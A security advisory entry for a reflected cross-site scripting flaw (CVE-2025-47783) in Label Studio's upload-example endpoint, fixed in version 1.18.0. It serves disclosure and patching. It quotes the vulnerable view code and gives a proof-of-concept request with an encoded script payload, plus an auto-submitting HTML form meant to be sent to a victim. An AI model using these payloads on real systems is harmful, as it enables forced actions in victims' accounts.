label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return responseThe vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3eOr you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | label-studio | < 1.18.0 | 1.18.0 |
References
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
- https://nvd.nist.gov/vuln/detail/CVE-2025-47783
- https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d
- https://github.com/HumanSignal/label-studio
- https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-79- Platform
- Python (PyPI)
- Package
label-studio- Disclosed
- 14.05.2025
- Updated
- 11.10.2026 12:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2025-124 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-8jhr-wpcm-hh4h - CC BY 4.0
Vulnerability history: label-studio
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 12
- First → latest
- 10.2022 01.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 7
- Medium 4
Disclosures per year
- 2022: 1
- 2023: 3
- 2024: 4
- 2025: 3
- 2026: 1
-
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter. this entry
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